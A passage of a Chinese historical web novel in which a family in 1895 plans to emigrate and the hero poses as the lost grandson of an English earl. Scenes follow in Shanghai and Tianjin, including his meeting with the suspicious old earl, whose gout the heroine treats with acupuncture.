温老汉眼珠子差点儿瞪出来,谁谁谁胆子小你敢不敢再说 一遍?你这臭小子哪有你这么睁眼说瞎话的? 他这小孙女当年就敢进土匪窝,砍人如切瓜! 做那什么手术,她能面不改色给人开膛破肚再缝回去! 家里杀只鸡宰头羊,这小丫头一把刀片割喉,完了能给骨头上的肉脱得干干净净。 谁胆子小也不能她胆子小啊? 温老汉猛一挥手,吼出声来:“臭小子别给老头儿耍心眼,把人都给我叫上,屋里开会!” 身为一群人里年纪最大的,温老汉的一言一行毫无疑问是十分有分量的。 很快众人聚集到小屋里,温老汉开门见山,“都他爷爷的别给我憋着了,说清楚,你们到底瞒着我什么事呢?” 没人吭声。 但所有人的目光都若有若无地汇聚到温苒身上。 温老汉用力一拍桌,“温苒你……” 温苒抬起脑袋,“啊?” 温老汉不耐烦挥手,“不是说你,温苒你旁边那个,姓霍的老爷们儿让他出来说话。” 霍从便宜孙女婿降级到姓霍的老爷们儿骁北:“……” 温老汉心里哪不清楚,这小子虽然也拿主意,但实际上是听他小孙女的,但他哪里舍得责备小孙女? 所以只能霍骁北做这个倒霉蛋儿了。 温老汉拉着脸问:“你说,你们这些天忙活什么大事呢,一个个还都瞒着我!” 温苒在心里小声嘟囔,这叫农村包围城市路线,把所有人都拉到自己阵营这边,到时候只剩爷爷孤零零一个,他肯定拗不过大家的。 霍骁北先握上媳妇儿的手,才在温老汉的怒视中回道:“确实有件事,我和温苒,还有大哥二哥小弟想去国外留学。” 话音落下,温老汉久久没有反应,眼睛不眨了呼吸都轻飘飘的。 宋守言怕给这老头儿吓出毛病来,连忙小心地推了他一把,“醒醒老叔!” 温老汉眨了下眼睛,盯着霍骁北急切地问:“你刚才说啥?” 霍骁北接着话往下说:“我们想去国外留学,没有七八年毕不了业,以防万一想带爹娘一起过去。” 温老汉又愣了好久才吭了下声:“哦。” 又过了好半晌,他隐约琢磨出不对劲来。 “哎,长福你家呢?林粟也想去留学?” 不等林长福说话,林粟就胀红着脸连连摆手,“我我我不行,我一个厨子最多看个菜谱,跟宋叔学的几个字就够用了。” 林长福拿出事先对好的理由,“听说国外那边赚钱多,南方几个省的老百姓老早就有过去淘金的,我们也想过去瞧瞧。” 林长福一家商量后,决定还是跟上。 这么些年也瞧出来了,温家其他人不说霍骁北和温苒两口子是有大本事的。 霍骁北一身的拳脚功夫能以一挡十,温苒一手的医术出神入化。 其实在林长福看来,郑巡抚一家离开奉天应当对饭馆医馆的生意没什么影响才对,毕竟小夫妻俩这些年交好的人脉不知凡几。 这里头单一个盛京将军嫡子的福晋就了不得了,当初这位难产九死一生,就是请了温苒过去才保下母子两人的,为此医馆每年都有将军府送来的各种节礼。 既然靠山还在,那离开奉天之举就只可能是小夫妻两个别有目的。 林长福相信自己的眼光,当年从土匪窝里平安出来就是他白捡了一条命。 大难不死必有后福,这些年他跟着温家人一起,虽然惊险的事情不少,但要说吃苦真没吃过,净跟着吃大鱼大肉了。 儿子跟他在饭馆工作,不光有月钱还有分红。 家里老妻带着儿媳孙子孙女在乡下村里也有温家人照看,孙子孙女跟着宋童生识文断字,偶尔去城里住几天也跟着霍相公练拳脚。 一家子吃好喝好,家底也越来越厚,后辈学文习武跟着一起长见识,还能有比这更好的日子了吗? 林长福一家打定主意,要坚定不移跟着霍相公和温娘子。 温老汉简直目瞪口呆,你们来真的?好好的自己家不待,跑去洋人的地方? 那不且等着被欺负死都无处申冤吗? 满屋子人温老汉的目光一一扫过去。 老大一家老二一家宋守言舅甥俩林长福一家,还有老三一家不用提简直是小苒说啥夫妻俩干啥,以及和小苒最亲近的三个丫头,最后是郭朝宗三个老爷们儿,竟然都是一个意思? 温老汉默然,他可算清楚小丫头的算计了,这是逼他点头呢? 温老汉抬手,胡乱抹了两圈脸,一咬牙一狠心,大声咧咧道:“那咱啥时候回来?我老头子都这把岁数了,可不想还死在外头,我还想跟你奶合葬呢!” 这话一出,屋里紧绷的气氛倏然放松下来。 温苒小跑过去,抱着温老汉的胳膊摇晃,“我们可以路过林庄儿村时带上奶奶的骨灰。” 温老汉瞪她,“还说什么出国留学?一直都没跟老头子说实话,你们是不是出去了就不打算回来了?” 温苒心下惊呼糟糕,懊恼地望向霍骁北求助,太高兴一不小心就露馅儿了怎么办啊? 霍骁北上前救媳妇儿,“不带奶的骨灰也行,等以后让大哥二哥的孩子带您的骨灰回村安葬,也算变相告诉他们不能忘本。” 温老汉气得转身找东西,都别拦他,今天非得把这臭小子揍得找不着北才行! 宋守言主动把笤帚递过去,他也不说啥了,就,孩子该打还是得打。 温老汉薅过笤帚就举起来往霍骁北身上招呼, “我这么大年纪了你不盼我点好你说什么屁话呢?你成心气我是吧?” 霍骁北连忙护着温苒往门口跑,两边的人纷纷退开让出路来,面上却都不咋担心,一个个露出看热闹的神情来。 郭朝宗的脚蠢蠢欲动,非常想不经意地伸出去送霍骁北一份大礼,谁叫他总仗着身手好揍他? 但瞥到他怀里护着的温苒,郭朝宗只好不情不愿地放弃这个完美的报复计划。 最终这场会议以六旬老汉绕屋狂追小夫妻三圈结束。 既然确定了最终目的地,接下来就开始准备。 首先,学英文是必须必要的,不然到了国外就是哑巴。 学英文最好的工具就是收音机,霍骁北以打探消息的理由和温苒下山,回来时大包小包补充一波库存,顺便还带了收录机。 温苒每天都会录下几句常用语作为今天的学习任务,接下来一整天无论吃饭干活都要重复这几句。 最后,是确定霍骁北的身份。 普通白人的身份是护不住这么多华人的,所以一个有分量的身份非常有必要。 说到有分量,就不得不翻一翻英吉利的贵族世系族谱了。 对于这份信息齐全的族谱,郭朝宗和郭晨十分明智地选择没有深究。 耗费半个月时间,四个看得懂英文的人从浩如烟海般的族谱里找出了十几位符合条件的目标对象。 第一位,温苒找到的,“是嘉庆时期来华的斯宾塞伯爵,与一名华人女子成亲生下两儿一女,之后这位伯爵归国再未来华。” 嗯,简单总结一下就是这臭男人抛弃妻子。 郭朝宗摇头,“这个不行,这个太远了,就算有后代留下来人家也不会认。” 温苒不服气,“那你说说你找到的!” 郭朝宗志得意满地翻到某一页,“罗斯子爵,三十年前在来华的轮船上遇难身亡,爵位不高不起眼,年纪也对得上,到时出钱认回爵位,再飞快移民美国,妥妥的!” 温苒不得不承认,这个比她找到的那个合适。 但她看不惯郭朝宗那个得意的样子,转头看向身侧,“霍骁北!” 霍骁北找到三个。 “霍斯廷斯伯爵,一位地质学家,咸丰四年携新婚妻子来华,于六年后在西南深山失踪。” 温苒仰头在心里打了阵算盘,咸丰四年也就是1854年,如果霍骁北要认这个祖宗就只能当人家孙子了。 “年纪对得上,而且年代不远不近刚刚好。” 温苒得意叉腰,就像这人是自己找到的一样! 经过一番对比,最后PK获胜的自然非霍斯廷斯伯爵莫属。 霍骁北的新任务就是熟背这个家族的谱系,至少这位伯爵亲近的兄弟姐妹叔伯舅姨都得弄清楚。 这天夜里,山下的村子燃起了一场大火。 霍骁北带人急匆匆下山探看情况,是一群土匪趁奉天城周遭驻防空虚过来抢劫,结果村里人都进山避难,这群土匪费了老大劲没找着啥好东西,恼羞成怒就放了一把火。 霍骁北一行趁乱砍了几个土匪,回了山上。 温 老汉叹气,“烧了就烧了吧,反正咱也要走了,就是不晓得村里其他人该怎么办。” 又聊了一会儿学习进度,宋守言问起温苒几个这几天在做什么,“天天看你们抱着那老厚一本书,是在找什么?” 温苒摇头,“现在还不能说。” 改个姓换个祖宗这事吧,对温老汉他们来说挺不容易接受的。 大山外头,这场战争持续了一年,转年三月开启议和停战,四月份清廷签署丧权辱国的条约。 大山的小院里,霍骁北顶着一双湛蓝色通透的眼睛走到屋外。 虽然有一段时间了,但像温老汉他们,还是不习惯看到这双怪模怪样的眼睛。 天老爷,黄皮肤黑头发但有一双蓝眼睛,这不是话本里讲的妖怪吗?【你现在阅读的是 】 50-60 第51章 第51章1889从闯关东开始2…… 一八九五年夏,战争落幕,关口重新放行。 一众由南北上的闯关东人群中,一行车队逆流入关。 关口守卫查验身份文碟后恭恭敬敬予以放行。 风拂过,吹起车厢的帘子,一对相互依偎的人影转瞬即逝。 温苒一袭蓝色棉麻长裙,黑发尽数编成麻花辫从左肩垂下,脸上习惯抹黑泛黄的皮肤白皙透红,倚靠在霍骁北怀里,清丽的面容上因连日赶路浮现丝丝疲惫。 京奉铁路刚修建不过几百里,后战事爆发,修路计划搁置。 从奉天到直隶,当初她们怎么来的如今要原样重走一遍。 遥想来时的路上,一群人风餐露宿啃窝头挖野菜,随机遇到流民围堵抢劫。 如今鸟枪换炮,前有骡车后有马车,两旁随行持刀驾马的‘护卫’。 小股流民望而远之,吸引来的净是专门打家劫舍的土匪。 入关后一路南下,直隶、河南、安徽,入江苏松江府上海县。 上海县城租界内外是截然不同的两个世界。 松江知府的嫡子曾是郭朝宗读书时的同窗,在他的帮助下,一行人在公共租界落脚。 歇息几日,霍骁北同温苒前往墩醇堂,即英国在上海的领事馆。 墩醇堂内,享用早餐的阿伦德尔伯爵听到管家汇报:“伯爵大人,一对夫妻前来拜访,其中那位先生自称是四十年前来华的霍斯廷斯伯爵夫妇的孙子。” 阿伦德尔伯爵停下刀叉,浅蓝色的眼睛诧异地睁大,“谁?霍斯廷斯伯爵的孙子?” 管家颔首,“是这样的伯爵大人。” “守门的卫兵禀报,对方向他出示了霍斯廷斯伯爵夫妇曾经来华时的‘护照’,以及霍斯廷斯家族的家主戒指。” 阿伦德尔伯爵嘲讽的笑声卡在喉咙里,倏地拍桌而起,尖声道:“当真?!” 霍骁北和温苒很快被请进墩醇堂。 这是一座四进的园林,廊曲径幽,假山湖水。 会客的宅院里,阿伦德尔的管家命人送上茶点,微笑道:“伯爵大人正在更衣,霍斯廷斯先生和夫人先请用些点心。” 霍骁北面无表情颔首,启唇后是一口流利地道的伦敦腔:“多谢。” 他换回华语,“先尝哪个?” 温苒用眼神示意,“一小块就可以。” 霍骁北动手给温苒拿了两块小点心、切了一块蛋糕、添了两杯茶,动作随意态度自然。 阿伦德尔的管家嘴角抽抽。 霍斯廷斯先生是一位绅士,但这位夫人却称不上是一位淑女。 瞧瞧,瞧瞧,没有淑女会在人前吃掉这么多食物,即便她动作优雅也不可以。 书房里,阿伦德尔伯爵终于接通了电话,语气急切:“霍斯廷斯伯爵,我是阿伦德尔伯爵,听说您一直在寻找令兄的下落,我这里刚来了一位年轻人……” 电话另一端传出激动的语声,阿伦德尔伯爵惊讶,“您要亲自过来?好的,届时我会为您安排好在上海的一切行程,欢迎您的到来,霍斯廷斯伯爵。” 一刻钟后,会客的院子里阿伦德尔伯爵终于姗姗来迟,“早上好!你就是小霍斯廷斯?” 霍骁北和温苒同时不急不躁地站起来,“久闻大名,阿伦德尔伯爵,你可以叫我威廉霍斯廷斯。” 阿伦德尔伯爵朝霍骁北伸手,在他回握后说道:“没记错的话,这也是你祖父的名字。” 霍骁北主动松开力道,“也是我父亲的名字。” 阿伦德尔伯爵坐到上首,“不知你父亲现在何处?” 霍骁北垂下蓝色的眼睛,“母亲于五年前过世,父亲悲痛不已,两年后也随其过世。” 阿伦德尔伯爵的眼神顿时染上狐疑,这么巧? 他盯着霍骁北的黑发和稍稍显黑的皮肤,“你的母亲可是华人女子?” 霍骁北点头,态度大方自然,“是的,母亲是一名华人女子,也是我妻子的表姨。” 阿伦德尔伯爵目光一转,终于可以正大光明地落在英俊男子身侧,那抹婉约清丽的倩影上。 伯爵脑海中凭空浮现出一句话:像天边的明月,洁白无暇,温婉朦胧。 阿伦德尔伯爵眼珠转动,起了些许心思。 霍骁北眼睛微微眯起,“伯爵,我的妻子是祖父祖母在时亲自为我定下的。” 阿伦德尔伯爵讪笑,端起茶杯时隐秘的眼神飞向某处。 放下茶杯,阿伦德尔伯爵笑着开口: “小霍斯廷斯,不知道你的祖父提起过吗?伦敦欣百丽剧院最受欢迎的女演员格丽丝,她是侯爵的私生女,她的母亲是一名来自华国的贵女,同你一样是英国贵族和华国女子的混血。” 阿伦德尔的语气高高在上,充满了不屑与贬低。 霍骁北面不改色,“抱歉,祖父回忆中,他与祖母离开英国时欣百丽剧院刚刚开业,当时伦敦最红火的剧院是奥奇兰剧院,最受欢迎的女演员是伊丽莎白。祖父祖母就是因这名女演员的剧目结缘,两人自由恋爱,取得家族同意后才结婚。” 阿伦德尔伯爵:“……” 没有得到预想的反应,他甚至惊讶地发现,这个小霍斯廷斯所说竟然全部对得上? 难道这个男人真的是霍斯廷斯伯爵流落在此的血脉? 阿伦德尔伯爵立刻收敛了眼底的不屑,开怀大笑:“对!对!是我记错了!小霍斯廷斯,看来你真的是你祖父的孙子!” 温苒默不作声喝着茶,落在自己身上的视线令人不适,现在终于消失了。 阿伦德尔伯爵邀请两人留下用午饭,霍骁北拒绝了。 再待下去,他会忍不住动手。 阿伦德尔伯爵没有勉强,只好道:“下个周三租界里有一场宴会,希望小霍斯廷斯带你的夫人一起参加。” 起身送两人离开,阿伦德尔伯爵又透露道:“你祖父的弟弟,现任霍斯廷斯伯爵现在在天津卫,我接到你前来的消息和他通过电话,他回复不日就前来上海。” 现任霍斯廷斯伯爵就在华国! 回去的马车上,霍骁北揽着温苒的肩膀,“接下来要小心了。” 按照英国贵族爵位继承法,霍骁北这个身份的祖父失踪且没有后代的情况下,爵位自然而然落到他弟弟头上。 但现在霍骁北出现了。 在争抢爵位上,他有优势,他是那位伯爵唯一的血脉。 他也有劣势,他是‘混血’,在那样一个看重血脉的家族里,他是异类。 回到租界小院,几个人头碰头交流情况。 郭朝宗:“咱们之前不就商量好了,爵位不要也罢,卖那位伯爵一个人情,咱们再自己掏钱买个小爵位,到时候打着霍斯廷斯家族的名头去美国发展,也是一样的。” 爵位不仅意味着高高在上的地位,还意味着庞大的财富。 到手的东西让人家吐出来,无异于痴心妄想。 几天后,霍骁北和温苒在为墩醇堂的宴会准备衣服,阿伦德尔的管家突然上门。 “霍斯廷斯先生,真是非常抱歉,我们伯爵大人刚刚接到电话,您祖父的弟弟霍斯廷斯伯爵突发急 病无法前来上海,需要您亲自去一趟天津卫。” 病了? 是偶然?还是别有图谋? 阿伦德尔的管家递上船票,“这是上海到天津卫轮船的贵宾包厢,一张船票可以携带五名仆人。” “霍斯廷斯伯爵希望与您尽快相见,伯爵大人说他十分想念您的祖父。” 管家走后,大家都围上来。 宋守言指着船票,“谁跟你们俩一起去?” 郭朝宗一马当先,“我必须跟着。” 霍骁北点了温一茂和周凯,“大哥和郭晨留下看家,接下来对方可能会派人过来打探消息。” 此行去天津卫危险重重,身手好最重要。 留在上海要面对多方打探,沉稳敏锐更合适。 次日一早,阿伦德尔伯爵派来两辆轿车,接送一行人到港口。 轿车平稳地行驶在路上,接近港口时,一阵喧哗吵闹传过来。 霍骁北睁开眼睛,“发生了什么?” 他问司机。 司机是阿伦德尔伯爵派来的。 他下车去查看情况,很快鼻青脸肿地回来,“是青帮在争夺地盘,已经波及到了等船的乘客,霍斯廷斯先生,我们先回租界?” 霍骁北沉吟着摇头,“通知工部局,让他们来处理。” 司机又下了车。 周凯从前座往后抻着脖子,“姐,姐夫,这事我看不一般。” 青帮内部有不成文的规定,不许伤害老百姓,能不招惹洋人就不招惹。 虽说私底下行事违背的次数不少,但这么明目张胆却不多见。 周凯小声,“是不是那个伯爵,想除掉姐夫啊?” 冒充伯爵血脉这件事,打一开始大家就觉得悬乎。 现在就更悬了。 不仅心脏悬起来,脑袋也快悬起来了。 今天赶船起得早,温苒频频打哈欠,“也不一定,说不定是对方的考验呢?” 这几日她翻了翻霍斯廷斯家族的族谱,上面这位现任伯爵有一个婚生子两个婚生女,私生子女不计入在内。 所以考验之说是无稽之谈,人家有儿有女的,没有理由会放弃伯爵之位和庞大的财富。 检票坐船已经是下午了。 换上自备的床单被褥,温苒扑上去倒头就睡。 这一路,贵宾包厢里经历了投毒、放火、枪击和刀袭等种种威胁事件。 郭朝宗再一次把人敲晕,五花大绑的绑成粽子,丢到角落里。 他跺着脚大声嚎:“烦死了!快点见到人吧,霍骁北你必须第一时间开口放弃继承爵位,不然你就只能看到我们的尸体了!” 温苒缩在沙发上,俏脸苍白,实在没想到她会晕船? “你还是先想想,能不能见到人再说吧。” “按照这个频率来看对方的决心可见一斑,下船后麻烦会更多。” 郭朝宗:“……” 所以他当初为什么会同意这个计划?他脑子抽了吧? 船到天津港停下,一行人绷着弦下船,眼观六路耳听八方。 霍斯廷斯伯爵的管家前来接应,态度友好,将她们迎上车。 “费斯特子爵大人,您的叔祖父霍斯廷斯伯爵无比期待您的到来!” 这位管家更是一开口就称呼霍骁北为费斯特子爵。 温苒:“?” 一路的刺杀是不存在吗? 还是这是对方,那位伯爵漏的口风,告诉霍骁北认下这个子爵咱们就爷俩好,不然就要你命? 恩威并施也不是这么玩儿的吧? 一路上十分安静,只有那位管家和霍骁北在说话,没有枪击没有劫路没有刺杀。 诡异的情况让人心里直打鼓。 霍斯廷斯伯爵在天津的住所是一所自建洋楼。 车子驶进大门,后视镜里一辆轿车紧随其后。 管家看到,向霍骁北解释:“这是伯爵大人您叔祖父的远房堂侄,叫约瑟夫。” 说完这句,温苒看到他的表情闪过一丝犹豫,似乎不知道该不该继续往下说。 车子停下,立马有人过来,“费斯特子爵,伯爵大人有请。” 这么着急? 郭朝宗给了霍骁北一个祝你平安的眼神,然后飞快走到温苒身后。 霍骁北一手拎箱子,一手牵着温苒,“我和我夫人一起。” 对方犹豫,“可是伯爵大人……” 霍骁北加重语气,“我和我夫人一起。” 管家这时出声,“由我带领子爵和夫人去见伯爵大人,这三位是子爵的朋友,你带他们到会客室。” 那人松了口气,回道:“伯爵大人在三楼书房。” 霍骁北和温苒正要跟上管家的脚步,身后传来一道声音:“这就是伯爵大人兄长的孙子吗?幸会!我是约瑟夫霍斯廷斯,按照辈分是你的叔叔。” 随着声音落下,约瑟夫走到霍骁北前面,站定,然后转身,朝霍骁北伸手。 霍骁北瞥了眼,对方的手在半空中停顿两秒,转道来到他的肩膀上,重重地拍了下去。 “你的母亲是华国女人?” 对方表情飞速变换,最后停留在诧异和惋惜上。 温苒:“……” 她不会扯谎,一扯谎就露馅儿。 这人显然也没比她高明多少。 演技太差了这也! 霍骁北只开口礼貌回应:“你好。” 语气却很平常冷淡,一点情绪都没有漏出来。 约瑟夫愣在原地,回过神来就见眼前的身影消失。 这什么态度,根本没把他放在眼里? 约瑟夫脸色涨红,一个肮脏的混血罢了,难不成真以为能继承爵位? 他垂在身侧的双手捏起,眼底闪过阴狠。 去到三楼的路上,管家小声道:“约瑟夫少爷是伯爵大人挑选的继任者候选人,费斯特大人您千万要当心他。” 温苒怀疑这个管家和约瑟夫有仇,这句话分明是在离间霍骁北和约瑟夫,同时也是在鼓动霍骁北对约瑟夫下手。 伯爵继任者啊,只要去掉后面三个字成了货真价实的伯爵,无数的财富就会轻而易举落在手里,谁能忍得住? 停在三楼书房门外,管家轻敲三下门,门里传出一道摇铃声。 管家侧身,“伯爵大人请二位进去。” 他拧开门把,躬身做出‘请进’的姿势。 霍骁北牵着温苒走进去,门在身后轻轻合上。 窗户旁,宽大的书桌后一道人影失态地冲过来,“你就是兄长的孙子威廉?威廉,你和兄长长得一样高大英俊,快,快过来和我说说兄长和侄儿的事情。” 霍骁北被拽着胳膊拽到沙发上。 温苒被他牵着,也一同在沙发上落座。 她心头升起浓浓的警惕,对方这态度太诡异了。 霍骁北面上依旧淡定,只当对方是一位思念手足而失态的老人。 温苒在心里补充,有点胖的老人,也不怎么高。 想到那份花大价钱向系统买来的认亲证据,那里面有这位伯爵的兄长的照片,也是不怎么高,但要瘦很多。 所以这兄弟俩到底哪里和又高又瘦的霍骁北像了? 霍骁北废话不多话,直接开箱。 “祖父在山里遇到意外身故,这些是他留下来的手稿。” 老霍斯廷斯捧着泛黄发旧的纸张痛哭流涕,这是兄长的字迹。 “这是父亲刚出生时和祖父祖母的合照。” 老霍斯廷斯立马夺过照片嚎啕大哭,险些哭晕过去。 温苒:“……” 哭得这么狠,看来身体也没那么差。 有这两样,其他的护照信件和家主戒指都得往后排,老霍斯廷斯一一看过后,又拉着霍骁北追问他兄长和侄儿的事情。 巧的是,对方问了和阿伦德尔伯爵一样的问题。 “你祖父可跟你讲过欣百丽剧院的事,他和你祖母就是在那家剧院结缘的。” 老霍斯廷斯不动声色观察着霍骁北的反应。 霍骁北重复了一遍当日的回答,“叔祖父您大概记错了,我祖父祖母是在奥奇兰剧院相识,当时的女演员伊丽莎白是祖母年轻时的好友。” 老霍斯廷斯露出满意的笑容。 两人谈话时,温苒就在一旁默默发呆。 老霍斯廷斯的话题不经意间就转到了她身上,“威廉,你应该娶一位英国贵族的女子做夫人。” 他以为温苒听不懂英语。 况且,听懂了又如何? 温苒的身份做个情人就够勉强了。 霍骁北正色,“夫人是祖父祖母在时为我定下的结婚对象,她是母亲表姐的女儿。” 老霍斯廷斯沉下脸,“兄长真是胡闹!让你父亲娶一个华国女子,也让你娶一个华国女子,简直胡闹!” 温苒:“……” 她只好假装没听到,把一切问题都交给霍骁北解决。 霍骁北态度坚定,“祖父只有祖母一个妻子,父亲只有母亲一个妻子,我也会只有夫人一个妻子。” 老霍斯廷斯叫他气得直拍沙发,“你!你!胡闹!” 他喘了会儿粗气,“你当真要如此?即便你没办法继承伯爵的爵位?” 霍骁北本来也不是奔着爵位来的,他只是要和‘霍斯廷斯’这个姓氏扯上关系而已。 老霍斯廷斯这样问,正好给了他名正言顺放弃爵位的理由。 于是霍骁北点头,“我执意如此。” 老霍斯廷斯挥手让他滚。 霍骁北没管箱子里的证据,牵上温苒就走。 老霍斯廷斯看到他毫不犹豫的动作,脑子里嗡一下,痛呼出声栽倒在沙发上,发出重响。 两人回头被他这反应吓一跳,赶忙上前查看情况。 温苒捏着老霍斯廷斯的手腕把脉,一面吩咐霍骁北:“你扶他躺在沙发上。” 老霍斯廷斯疼得身体缩成一团,却哼哼唧唧地扭动着想要躲开温苒。 霍骁北强硬地擒住他手臂,压送到温苒面前,“怎么样?” 老霍斯廷斯瞪大眼睛,死死瞪着霍骁北的背影,恨不得瞪出来俩窟窿。 温苒今天穿了长裙,伸手摸到后腰带上,从里面掏出布卷,展开是一排银针。 “痛风。” “很严重。” 瞅了一眼叫声微弱的老头儿,温苒用英语补充:“最近多次酗酒,多亏了圣母玛利亚保佑。” 老霍斯廷斯的目光唰一下转到温苒身上,这小丫头你故意的是吧? 就在这个想法冒出来的下一秒,老霍斯廷斯就见温苒抽出一根手指般长的银针,吩咐威廉卷起他的裤子。 老霍斯廷斯几乎要把眼珠子瞪出来,疯狂晃着脑袋,你你你这小丫头想做什么? 老霍斯廷斯浑身被病痛掌控,动一下都艰难,霍骁北摁住他的手臂,轻松将他裤腿卷起来。 老霍斯廷斯眼睁睁看着,刚才温婉安静的小丫头面无表情捏着针,竟是要扎在他身上?! 针尖缓缓没入身体,他吓得闭上眼睛,惊呼出声:“威廉救我!” 温苒一连扎了许多针。 良久后老霍斯廷斯睁开眼睛,好奇又疑惑地盯着扎针的位置,“威廉,为什么不疼?” 霍骁北面无表情回答:“因为您有病。” 老霍斯廷斯:“……” 虽然不疼,但老霍斯廷斯感觉好了很多。 他不满地冷哼,“你要因为一个华国女子而与叔祖父生疏吗?” 霍骁北冷着脸,“这取决于您。” “温苒是我的妻子,您看不起她,就是看不起我,也是看不起为我们两个定下婚约的祖父祖母。” 老霍斯廷斯张了张嘴,很长时间才找回声音,“你让我想想。” 拔完针,窗外已经暗下来。 霍斯廷斯伯爵去换衣服,书房里只剩霍骁北和温苒。 温苒小声问他:“你说他信了吗?” 掌心包着她的手,霍骁北摇头,“没有。” 刚才看似温情的认亲场面,老霍斯廷斯三句一个坑。 对方会怀疑的理由也很充分。 为什么霍骁北这时候才会出现? 为什么霍骁北的父亲,那位本该是下一任的霍斯廷斯伯爵没有回国交接爵位? 即便不回国,为什么这么多年杳无音信,一封书信也没有寄回家族? 这当中必定有问题。 老霍斯廷斯去换衣服的这段时间,想必就会派人去调查霍骁北和温苒。 第52章 第52章1889从闯关东开始2…… 管家通知霍骁北,伯爵大人吩咐,晚饭可以让他的朋友全部出席。 在此之前,他先带大家去看接下来要住的房间。 霍骁北和温苒下楼,去会客室喊上郭朝宗三个人看房间。 洋楼大约是复刻了城堡的格局,在主楼两侧分别有一幢更小的洋楼。 管家带他们去的方向是西面。 一行人悠闲地迈着步子,目光四下随意地张望,你一言我一语地发表点评。 主楼三楼的书房里,两双眼睛隔着玻璃窗静静望着这群人。 老霍斯廷斯扶着栏杆,目光深沉,“约瑟夫,你怎么看?” 约瑟夫垂下头,只听他到的声音雀跃含笑:“堂叔,大堂叔的孙子认祖归宗是桩喜事,也不枉您为此特地来华十几年,耗费数不清的人力物力寻找大堂叔的下落,想来是上帝被您无与伦比的诚心感动了!” 老霍斯廷斯面无表情地看着窗外,对这番话没有发表任何看法。 约瑟夫偷偷抬眼,瞥见这个反应,他心下有些不安。 难道堂叔真的相信那个肮脏混血是大堂叔的血脉? 这怎么可以? 约瑟夫急切地开口,“堂叔,不如为威廉堂侄举办一场欢迎会吧?到时请记者过来拍摄登报,向所有贵族宣布威廉堂侄回归霍斯廷斯家族!” 老霍斯廷斯慢吞吞转过身,约瑟夫极其有眼力见地上前搀扶。 老霍斯廷斯强忍着疼痛挺直腰板,“就按你说的办吧,记得多请些贵族,如若可以宴会地点定在上海。” 约瑟夫神情微顿,很快点头,“是,堂叔。” 约瑟夫嘴角扬起微笑。 他一定会把宴会办得热闹漂亮,也会把这则‘好消息’送上全伦敦所有报纸的头版头条。 ——昔日霍斯廷斯七世的孙子竟是一名肮脏的混血! 这样的血脉娶的也是一位华国女子,霍斯廷斯家族是绝不会允许这位目中无人的威廉堂侄成为伯爵大人的。 老霍斯廷斯突然有客人来访,取消了晚上的聚餐,让霍骁北他们自便,明天他再见其他人。 晚餐由管家带仆人送来西侧的洋楼,都是华国菜式,味道也不错。 吃完聚在一起聊聊今天见面的情况。 郭朝宗一杯一杯灌着茶,就跟没见过好东西似的。 “那个约瑟夫你要小心了,我们在会客室里,他态度很嚣张不屑,每句话都在打探你的消息。” 霍骁北慢悠悠地给温苒削苹果,撩起眼皮,说道:“不足为虑。” 他刚出现,身份都没确定下来,这个人就如此沉不住气,心机城府实在浅显。 郭朝宗摇头,“那可不一定,咱们华国人习惯了弯弯绕绕,他们这些洋人可不是,他们最擅长的明抢。” 霍骁北把苹果削成小块,温苒拿着叉子一戳一口,“管家之前向我们透露,这个约瑟夫是老霍斯 廷斯选中的下一任伯爵候选人之一。” 温一茂和周凯的注意力主要放在吃上,分出一小部分心神在他们三个的谈话上。 不愧是英国的伯爵,洋人里头的大老爷,晚餐的菜式不是这个肉就是那个肉,餐后还有各种点心瓜果,敞开肚子吃都吃不完。 郭朝宗两条眉毛乱飞,“啥?不是说这个老霍斯廷斯有儿子吗?难道他儿子没有孩子?” 震惊好半晌,郭朝宗缓缓放下茶壶茶杯,看着霍骁北吞了吞口水,“不是?难不成你小子真能捞个伯爵当一当?” 郭朝宗激动地搓手,完了笑得一脸谄媚,朝霍骁北连连拱手,嘴上也不忘奉承:“那往后小弟可就靠大哥罩着了!” 温苒:“……” 温苒打破他不着调的幻想,“万一这个家族在大清经营了鸦片生意,你也要霍骁北去做这些吗?” 郭朝宗脸上的笑意僵住,良久后才重新活过来,“那不正好?霍骁北成了伯爵成了家主,就可以名正言顺禁止家族成员涉足鸦片经营。” 话说得轻松,鸦片可是暴利,霍骁北就是有十条命估计也办不到。 虽然温苒也觉得这主意乍一听很不错,但不能细想。 各回各房后,温苒躺在床上,眼睛转向他的方向,“你想做伯爵吗?” 霍骁北在被窝里握上她的手,“恐怕由不得我不想。” 老霍斯廷斯会把族里的远方堂侄带在身边,无论他亲生儿子是何情况,都代表这个人无法继任爵位。 爵位的其他顺位继承人自然蠢蠢欲动。 而恰在此时霍骁北出现,他身为前任霍斯廷斯伯爵的血脉,由他接任伯爵再名正言顺不过,即便他是被贵族看不起的混血。 他的出现他的身份就是所有继承者的眼中钉,或者他主动放弃或者他自动消失,在其他继承者眼中,给霍骁北准备的只有这两个结果。 温苒翻身坐起来,也拽着霍骁北起来,嗓音雀跃:“那我们来谈个大计划!” 霍骁北心思飞转,“说说你的计划。” 听起来就像他也有个计划一样。 温苒攥紧拳头,“你继任伯爵,然后砍掉鸦片生意,家族势力全面向美洲扩张!” 北美尤其是美国,未来几十年会是工业发展的黄金时期。 而南美,土地肥沃气候适宜,大平原地区,人工便宜,非常适合农业开发,简称‘粮仓’! 在美洲攫取利益,然后输送到华国,这不是理所当然吗? ——当然,绝对不是输送给大清,而是输送给老百姓输送给未来的革命运动! 霍骁北:“……” 该说不说,其实他也有一个类似的计划。 他忍不住笑出声来。 低沉的笑声敲击在温苒耳畔,自耳后向全身蔓延开一股酥酥麻麻的感觉。 被这种感觉影响,温苒脸上发热,恼羞成怒,“你不许笑!” 霍骁北听话得停下笑声,却将她一把拽进怀里,“我们需要合伙人。” 庞大的财富不能全部落入霍斯廷斯家族中,这些人不会愿意放弃到手的好处,转而去不求回报地扶持另一个国家。 温苒从他怀里艰难地冒出头,掰着手指头数:“郭朝宗和郭晨,大哥和小凯,都能用,二哥也能打下手,到美国后还可以物色一些留学生培养。” 两人商量了半宿,第二天醒得很晚,哪知道老霍斯廷斯比他们还晚? 主楼的饭厅里,霍骁北意思意思关心了下,“叔祖父可是身体不适?” 老管家回道:“伯爵大人昨夜翻看少爷带回来的旧物,以至于很晚才睡下。” 霍骁北点头表示知晓,“叔祖父上了年纪,身体也不好,你在一旁要多劝说。” 正说着呢,老霍斯廷斯在约瑟夫的搀扶下进了饭厅。 他面上带着笑,落座后说道:“威廉,向叔祖父介绍你的朋友吧,我也想了解你过去的生活。” 霍骁北一一介绍过去,着重介绍了温一茂和周凯是温苒的兄弟。 老霍斯廷斯面上看不出厌恶,甚至还有些欣赏。 